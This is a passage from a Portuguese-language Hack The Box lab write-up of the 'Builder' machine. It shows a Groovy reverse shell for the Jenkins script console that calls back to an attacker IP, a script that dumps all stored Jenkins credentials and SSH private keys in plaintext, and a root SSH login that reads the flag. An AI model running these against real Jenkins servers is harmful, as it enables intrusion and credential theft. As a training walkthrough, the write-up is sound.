&lt;p&gt;Conseguimos a senha do usuário &lt;strong&gt;jennifer&lt;/strong&gt;, agora podemos logar na interface do jenkins:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvbw5hzon23pfi6osyei6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvbw5hzon23pfi6osyei6.png" alt="Logged" width="800" height="394"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;O jenkins permite que seja executado scripts groovy através da sua interface pelo script console:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2yotpth8d6j7bpcl66ao.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2yotpth8d6j7bpcl66ao.png" alt="Script Console" width="800" height="394"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Aqui podemos executar comandos no node do jenkins, que em nosso caso é nosso alvo. Podemos inclusive pegar um shell com o seguinte script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;String &lt;span class="nv"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'10.10.16.25'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; int &lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;4444&lt;span class="p"&gt;;&lt;/span&gt; String &lt;span class="nv"&gt;cmd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'bash'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; Process &lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;new ProcessBuilder&lt;span class="o"&gt;(&lt;/span&gt;cmd&lt;span class="o"&gt;)&lt;/span&gt;.redirectErrorStream&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.start&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;Socket &lt;span class="nv"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;new Socket&lt;span class="o"&gt;(&lt;/span&gt;host,port&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;InputStream &lt;span class="nv"&gt;pi&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;p.getInputStream&lt;span class="o"&gt;()&lt;/span&gt;,pe&lt;span class="o"&gt;=&lt;/span&gt;p.getErrorStream&lt;span class="o"&gt;()&lt;/span&gt;, &lt;span class="nv"&gt;si&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;s.getInputStream&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;OutputStream &lt;span class="nv"&gt;po&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;p.getOutputStream&lt;span class="o"&gt;()&lt;/span&gt;,so&lt;span class="o"&gt;=&lt;/span&gt;s.getOutputStream&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="o"&gt;(!&lt;/span&gt;s.isClosed&lt;span class="o"&gt;()){&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;pi.available&lt;span class="o"&gt;()&amp;gt;&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;so.write&lt;span class="o"&gt;(&lt;/span&gt;pi.read&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;pe.available&lt;span class="o"&gt;()&amp;gt;&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;so.write&lt;span class="o"&gt;(&lt;/span&gt;pe.read&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;si.available&lt;span class="o"&gt;()&amp;gt;&lt;/span&gt;0&lt;span class="o"&gt;)&lt;/span&gt;po.write&lt;span class="o"&gt;(&lt;/span&gt;si.read&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;so.flush&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;po.flush&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;Thread.sleep&lt;span class="o"&gt;(&lt;/span&gt;50&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;try &lt;span class="o"&gt;{&lt;/span&gt;p.exitValue&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;catch &lt;span class="o"&gt;(&lt;/span&gt;Exception e&lt;span class="o"&gt;){}}&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;p.destroy&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;s.close&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dessa forma vamos conseguir acesso somente como o usuário jenkins.&lt;br&gt;
No entanto, conforme enumeramos inicialmente existe uma credencial de sistema com o nome root. Através do groovy podemos listar todas as credenciais do jenkins com o seguinte script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.&lt;span class="k"&gt;*&lt;/span&gt;
import com.cloudbees.plugins.credentials.&lt;span class="k"&gt;*&lt;/span&gt;
import com.cloudbees.plugins.credentials.impl.&lt;span class="k"&gt;*&lt;/span&gt;
import com.cloudbees.plugins.credentials.domains.&lt;span class="k"&gt;*&lt;/span&gt;
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import org.jenkinsci.plugins.plaincredentials.StringCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl

def showRow &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; credentialType, secretId, username &lt;span class="o"&gt;=&lt;/span&gt; null, password &lt;span class="o"&gt;=&lt;/span&gt; null, description &lt;span class="o"&gt;=&lt;/span&gt; null -&amp;gt;
println&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;credentialType&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; : "&lt;/span&gt;.padLeft&lt;span class="o"&gt;(&lt;/span&gt;20&lt;span class="o"&gt;)&lt;/span&gt; + secretId?.padRight&lt;span class="o"&gt;(&lt;/span&gt;38&lt;span class="o"&gt;)&lt;/span&gt;+&lt;span class="s2"&gt;" | "&lt;/span&gt; +username?.padRight&lt;span class="o"&gt;(&lt;/span&gt;20&lt;span class="o"&gt;)&lt;/span&gt;+&lt;span class="s2"&gt;" | "&lt;/span&gt; +password?.padRight&lt;span class="o"&gt;(&lt;/span&gt;40&lt;span class="o"&gt;)&lt;/span&gt; + &lt;span class="s2"&gt;" | "&lt;/span&gt; +description&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

// &lt;span class="nb"&gt;set &lt;/span&gt;Credentials domain name &lt;span class="o"&gt;(&lt;/span&gt;null means is it global&lt;span class="o"&gt;)&lt;/span&gt;
domainName &lt;span class="o"&gt;=&lt;/span&gt; null

credentialsStore &lt;span class="o"&gt;=&lt;/span&gt; Jenkins.instance.getExtensionList&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'com.cloudbees.plugins.credentials.SystemCredentialsProvider'&lt;/span&gt;&lt;span class="o"&gt;)[&lt;/span&gt;0]?.getStore&lt;span class="o"&gt;()&lt;/span&gt;
domain &lt;span class="o"&gt;=&lt;/span&gt; new Domain&lt;span class="o"&gt;(&lt;/span&gt;domainName, null, Collections.&amp;lt;DomainSpecification&amp;gt;emptyList&lt;span class="o"&gt;())&lt;/span&gt;

credentialsStore?.getCredentials&lt;span class="o"&gt;(&lt;/span&gt;domain&lt;span class="o"&gt;)&lt;/span&gt;.each&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;it instanceof UsernamePasswordCredentialsImpl&lt;span class="o"&gt;)&lt;/span&gt;
showRow&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"user/password"&lt;/span&gt;, it.id, it.username, it.password?.getPlainText&lt;span class="o"&gt;()&lt;/span&gt;, it.description&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;it instanceof BasicSSHUserPrivateKey&lt;span class="o"&gt;)&lt;/span&gt;
showRow&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"ssh priv key"&lt;/span&gt;, it.id, it.passphrase?.getPlainText&lt;span class="o"&gt;()&lt;/span&gt;, it.privateKeySource?.getPrivateKey&lt;span class="o"&gt;()&lt;/span&gt;?.getPlainText&lt;span class="o"&gt;()&lt;/span&gt;, it.description&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;it instanceof StringCredentials&lt;span class="o"&gt;)&lt;/span&gt;
showRow&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"secret text"&lt;/span&gt;, it.id, it.secret?.getPlainText&lt;span class="o"&gt;()&lt;/span&gt;, &lt;span class="s1"&gt;''&lt;/span&gt;, it.description&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else if&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;it instanceof FileCredentialsImpl&lt;span class="o"&gt;)&lt;/span&gt;
showRow&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"secret file"&lt;/span&gt;, it.id, it.content?.text, &lt;span class="s1"&gt;''&lt;/span&gt;, it.description&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;else
&lt;/span&gt;showRow&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"something else"&lt;/span&gt;, it.id, &lt;span class="s1"&gt;''&lt;/span&gt;, &lt;span class="s1"&gt;''&lt;/span&gt;, &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim temos uma chave privada:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6gheyxqjrmagfvhpaf0s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6gheyxqjrmagfvhpaf0s.png" alt="Private Key" width="800" height="394"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Vamos salvar o conteúdo em um arquivo chamado &lt;strong&gt;id_rsa_root&lt;/strong&gt; e alterar sua permissão para 600, pois chaves privadas precisam ter uma permissão mais restritiva para que serem utilizadas:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# &lt;span class="nb"&gt;chmod &lt;/span&gt;600 id_rsa_root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Testando a chave privada como usuário root em nosso alvo conseguimos o acesso:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/builder]
└─# ssh &lt;span class="nt"&gt;-i&lt;/span&gt; id_rsa_root root@10.129.244.76
Welcome to Ubuntu 22.04.3 LTS &lt;span class="o"&gt;(&lt;/span&gt;GNU/Linux 5.15.0-94-generic x86_64&lt;span class="o"&gt;)&lt;/span&gt;

 &lt;span class="k"&gt;*&lt;/span&gt; Documentation:  https://help.ubuntu.com
 &lt;span class="k"&gt;*&lt;/span&gt; Management:     https://landscape.canonical.com
 &lt;span class="k"&gt;*&lt;/span&gt; Support:        https://ubuntu.com/pro

  System information as of Wed Feb 14 10:50:05 PM UTC 2024

  System load:              0.2177734375
  Usage of /:               66.0% of 5.81GB
  Memory usage:             33%
  Swap usage:               0%
  Processes:                247
  Users logged &lt;span class="k"&gt;in&lt;/span&gt;:          0
  IPv4 address &lt;span class="k"&gt;for &lt;/span&gt;docker0: 172.17.0.1
  IPv4 address &lt;span class="k"&gt;for &lt;/span&gt;eth0:    10.129.244.76
  IPv6 address &lt;span class="k"&gt;for &lt;/span&gt;eth0:    dead:beef::250:56ff:fe96:9588


Expanded Security Maintenance &lt;span class="k"&gt;for &lt;/span&gt;Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: &lt;span class="nb"&gt;sudo &lt;/span&gt;pro status


Last login: Mon Feb 12 13:15:44 2024 from 10.10.14.40
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E assim conseguimos a root flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;root@builder:~# &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 32K
drwx------  5 root root 4.0K Feb 14 22:47 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 18 root root 4.0K Feb  9 15:45 ..
lrwxrwxrwx  1 root root    9 Apr 27  2023 .bash_history -&amp;gt; /dev/null
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;  1 root root 3.1K Oct 15  2021 .bashrc
drwx------  2 root root 4.0K Apr 27  2023 .cache
drwxr-xr-x  3 root root 4.0K Apr 27  2023 .local
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt;  1 root root  161 Jul  9  2019 .profile
&lt;span class="nt"&gt;-rw-r-----&lt;/span&gt;  1 root root   33 Feb 14 22:47 root.txt
drwx------  2 root root 4.0K Feb  8 11:24 .ssh
root@builder:~# &lt;span class="nb"&gt;cat &lt;/span&gt;root.txt 
229275386e7300b9ad9425a630fa815c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finalizando a máquina Builder !&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Falc7w61dbknlfduptr8x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Falc7w61dbknlfduptr8x.png" alt="Pwned" width="800" height="745"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>cybersecurity</category>
      <category>jenkins</category>
      <category>groovy</category>
    </item>
  </channel>
</rss>
